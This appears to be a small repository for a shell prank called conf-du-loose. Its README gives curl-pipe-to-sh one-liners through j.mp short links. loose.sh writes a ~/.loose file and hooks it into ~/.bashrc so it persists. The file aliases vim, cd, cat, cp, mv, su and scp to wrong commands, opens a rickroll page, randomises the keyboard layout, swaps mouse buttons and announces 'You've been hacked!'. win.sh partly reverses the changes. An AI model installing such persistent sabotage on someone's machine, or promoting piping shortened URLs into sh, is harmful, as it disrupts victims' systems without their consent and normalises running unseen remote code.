├── .travis.yaml
├── Makefile
├── .travis.yml
├── win.sh
├── Dockerfile
├── README.md
├── loose.sh
└── LICENSE


/.travis.yaml:
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1 | language: bash
2 | command: bash -n *.sh
3 | 


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/Makefile:
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1 | test:
2 | 	docker build -t conf-du-loose .
3 | 


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/.travis.yml:
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1 | language: bash
2 | services: docker
3 | sudo: required
4 | script: make test
5 | 


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/win.sh:
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1 | #!/bin/sh
2 | 
3 | rm -f ~/.loose
4 | setxkbmap fr     # need to save the old value
5 | xmodmap -e "pointer = 1 2 3";
6 | sed -i '/source\ \~\/\.loose/d' ~/.bashrc
7 | 


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/Dockerfile:
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 1 | FROM dorowu/ubuntu-desktop-lxde-vnc
 2 | 
 3 | ADD ./loose.sh ./win.sh /
 4 | 
 5 | # Install ~/.loose
 6 | RUN sh -xe /loose.sh
 7 | 
 8 | # Run ~/.loose
 9 | RUN set -xe; . ~/.loose; exit 0
10 | 


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/README.md:
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1 | [![Build Status](https://travis-ci.org/moul/conf-du-loose.svg?branch=master)](https://travis-ci.org/moul/conf-du-loose)
2 | 
3 | # `curl -L j.mp/looose | sh`
4 | 
5 | ## `curl -L http://j.mp/wiiiiiin | sh`
6 | 


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/loose.sh:
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 1 | #!/bin/sh
 2 | 
 3 | 
 4 | cat <<EOF > ~/.loose
 5 | # aliases
 6 | alias vim=emacs
 7 | alias cd=ls
 8 | alias cat=rev
 9 | alias cp=yes
10 | alias mv=yes
11 | alias su=yes
12 | alias scp="echo JE SUIS UN GLAND"
13 | 
14 | # rickrolled
15 | (
16 |     hash google-chrome && (
17 |         google-chrome rickroll.fr
18 |     ) || true
19 | ) 2>/dev/null
20 | 
21 | # change keyboard layout
22 | (
23 |     hash localectl && (
24 | 	setxkbmap \`localectl list-keymaps | shuf -n 1\`
25 |     ) || setxkbmap dvorak || true
26 | ) 2>/dev/null
27 | 
28 | # mouse
29 | (
30 |     xset mouse 3 0 || true
31 |     xmodmap -e "pointer = 3 2 1" || true
32 | ) 2>/dev/null
33 | 
34 | echo "You've been hacked!"
35 | echo "  You are now using a randomly chosen keyboard (or dvorak)"
36 | echo "  To 'repair' your computer, you need to undo everything in ~/.loose file"
37 | echo "  Or execute this script: http://j.mp/wiiiiiin"
38 | echo "Tchuss"
39 | 
40 | EOF
41 | 
42 | grep .loose ~/.bashrc 2>/dev/null || echo "source ~/.loose" >> ~/.bashrc
43 | 
44 | #. ~/.loose
45 | 


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/LICENSE:
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 1 | The MIT License (MIT)
 2 | 
 3 | Copyright (c) 2015 Manfred Touron
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 
23 | 


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